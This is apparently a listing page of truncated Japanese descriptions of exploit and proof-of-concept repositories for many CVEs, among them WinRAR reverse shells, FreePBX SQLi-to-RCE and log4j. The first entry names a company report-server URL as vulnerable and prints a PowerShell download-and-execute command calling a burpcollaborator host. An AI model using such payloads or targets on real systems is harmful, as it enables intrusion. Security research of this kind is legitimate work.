CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - 存在漏洞的链接 $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...

CVE-2024-4577-RCE

PHP CGI 引数インジェクション CVE-2024-4577 RCE 📜 説明 PHP バージョン 8.1.（8.1.29 未満）、8.2. （8.2.20 未満）、8.3.（8.3.8 未満）において、Windows 上で Apache と PHP-CGI を使用している場合、システムが特定のコードページを使用するように設定されていると、Windows は Win32 API 関数に渡されるコマンドラインの文字を置き換えるために「ベストフィット」動作を使用することがあります。PHP CGI モジュールはこれらの文字を PHP オプションと誤って解釈し、悪意のあるユーザーが実行中の...

Notepad-8.9.6-PoC

Notepad++ PoCs CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800 Notepad++ = 8.9.6 における 3 つの脆弱性の概念実証スクリプト。v8.9.6.1（2026-05-26）で修正済み。 脆弱性 CVE| タイプ| CVSS| 影響 ---|---|---|--- CVE-2026-48770| WMCOPYDATA 経由の範囲外読み取り| 5.0| DoS / クラッシュ CVE-2026-48778| config.xml 経由の OS コマンドインジェクション| 7.8| リモートコード実行...

CVE-2022-46169

Cacti | 認証バイパス | RCE | CVE-2022-46169 Cacti: Rubyによる未認証リモートコード実行エクスプロイト Cacti Docker これは、Cacti RCE脆弱性（CVE-2022-46169）に対して脆弱なDocker化されたアプリケーションです。 以下のリンクに従ってCactiを実行してください。 https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169 使い方 / | | | / | | \ / | | | | \ | \ / | | | | | | | | | | |...

CVE-2023-38831_ReverseShell_Winrar-RCE

WINRARの脆弱性CVE-2023-38831を悪用したリバースシェルの取得 このリポジトリでは、WinRARの脆弱性CVE-2023-38831を悪用して、被害者のWindowsマシンから攻撃者のKali Linuxマシンへリバースシェルを取得する方法を紹介します。 事前準備 このリポジトリのコンテンツをダウンロードします： 次に、この脆弱性を悪用するために必要なPythonの依存関係を以下のコマンドでインストールします： pip install rarce 準備...

CVE-2022-39197

CVE-2022-39197 RCE POC 参考リンク https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — この脆弱性に関する優れた詳細分析があります https://www.agarri.fr/blog/archives/2012/05/11/svgfilesandjavacodeexecution/index.html...

CVE-2025-57819-poc

CVE-2025-57819 — FreePBX 未認証SQLi → RCE FreePBX Endpoint Manager の未認証SQLインジェクション（CVE-2025-57819）を利用したワンショットエクスプロイトで、FreePBX cronjobs テーブルを介したリモートコード実行に連鎖させます。 許可されたセキュリティテスト / CTF 使用のみを対象としています。 脆弱性 エンドポイントモジュールのajaxハンドラは brand パラメータをSQLクエリに直接連結し、モジュールパス FreePBX\modules\endpoint\ajax...

cve-2022-42889-text4shell-docker

Mavenのインストール - maven-linux 1. Mavenのinstallコマンドを実行してfat jarを作成 mvn clean install 2. Dockerビルド docker build --tag=text4shell . 3. Dockerコンテナの起動 docker run -p 80:8080 text4shell 4. アプリケーションのテスト http://localhost/text4shell/attack?search= 5. 攻撃は、前述のルックアップであるプレフィックスを使用して、文字列“$prefix:name”を渡すことで実行できます。...

Centreon-RCE

Centreon-RCE Centreon v.19.04 リモートコード実行エクスプロイト CVE-2019-13024 改訂元 https://github.com/mhaskar/CVE-2019-13024 使用方法: 1. 引数のデフォルトは必要に応じて編集してください（スクリプトの下部）。編集しなくても構いません。 2. 必要に応じて、防御を回避するために 'editcommand' 関数を編集してください。 3. '-v' はトラブルシューティング/詳細出力（レスポンス内容を表示）用です。 使用例: ./centreonrce.py whoami...

internet-of-vulnerable-things

脆弱なモノのインターネット 脆弱なモノのインターネット をテーマにした私の小さなタームペーパーの成果です。 概要...

CVE-2019-17633

CVE-2019-17633 Eclipse CheのCSRFによるRCE このバグにより、リモートのウェブサイトが、ユーザーがウェブページを訪問した際に、バージョン7.3.0以前および7.4.1以前のCheを実行しているマシン上で任意のDockerコンテナを作成・起動できるようになります。 脆弱性 これはCSRFバグであり、リモートのウェブサイトが、スタンドアロンモードでEclipse...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 この問題のCVEはCVE-2022-26318です。...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ リモートコード実行脆弱性CVE-2023-33246 Exploit 使用方法: java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "open -a calculator" 免責事項:...

CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 脆弱性ID: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 脆弱性の再現 docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 脆弱性の検出 POC...

log4j-rce-test

ビルド ./build.sh log4j RCE サーバーの起動 ./start-log4j-rce-server.sh テスト java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j を実行 カレントフォルダの hack.log にログが出力されるか確認 この行を変更できます String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + " ./hack.log" ; ファイル apache-log4j-poc/src/main/java/Exploit.java 内の...

CVE-2024-1651-PoC

CVE-2024-1651 このCVEは、Fluid Attack Offensive TeamのCarlos Belloによって発見されました。この脆弱性は、安全でないオブジェクトのデシリアライゼーションを利用してRCE（リモートコード実行）を取得するものです。ここでは、より高速で使いやすいPoC（概念実証）を作成しました。したがって、この脆弱性を再現したい場合は、参考例としてこれを利用できます。 プレビュー...

CVE

CVE一覧表 CVE番号| 種別| 企業/製品| 説明| 記事リンク| リポジトリリンク ---|---|---|---|---|--- CVE-2026-9680| SQLi| Alibaba RDS MCP Servers| TBA| TBA| TBA CVE-2026-50335| LPE| Windows July 2026| TBA| TBA| TBA GHSA-73cv-556c-w3g6| SQLi| Apache Pinot MCP 3.1.0| 外部バインドされたMCPサーバーでのサニタイズ欠如により、SQLインジェクションが発生する可能性があります。|...

cve-2024-21534

POC - CVE-2024-21534 Jsonpath-plus は不適切な入力サニタイズによりリモートコード実行（RCE）に対して脆弱です 概要 CVE-2024-21534 は、jsonpath-plus パッケージの 10.0.0 より前のバージョンに見つかった重大な脆弱性です。この脆弱性は不適切な入力サニタイズに起因し、影響を受けるシステム上でリモートコード実行（RCE）を引き起こす可能性があります。この脆弱性は認証なしで悪用される可能性があるため、特に危険です。攻撃者は特別に細工された入力を送信することで、サーバー上で任意のコードを実行できます。この問題は Node.js ...

struts-rce

:source-highlighter: pygments = Apache Struts CVE-2017-5638 の悪用 このシンプルなWebアプリケーションは脆弱なApache Struts 2.5.10（CVE-2017-5638）で構築されています。RCEに対して脆弱です。 == Webアプリケーションの起動 脆弱なWebアプリケーションを起動するには、以下を実行します。 mvn jetty:run デフォルトではアプリケーションはポート8012でアクセス可能です。変更するには： mvn -Djetty.http.port= jetty:run ==...

Thunderstorm

Thunderstorm Thunderstorm はUPSデバイスを悪用するためのモジュラーフレームワークです。 現時点では、CS-141 および NetMan 204 のエクスプロイトのみが利用可能です。フレームワークのベータ版は将来リリースされる予定です。 CVE Thunderstorm は現在、以下の CVE を悪用することができます： CVE-2022-47186 – 制限なしファイルアップロード CS-141 CVE-2022-47187 – ファイルアップロードによるクロスサイトスクリプティング CS-141 CVE-2022-47188 –...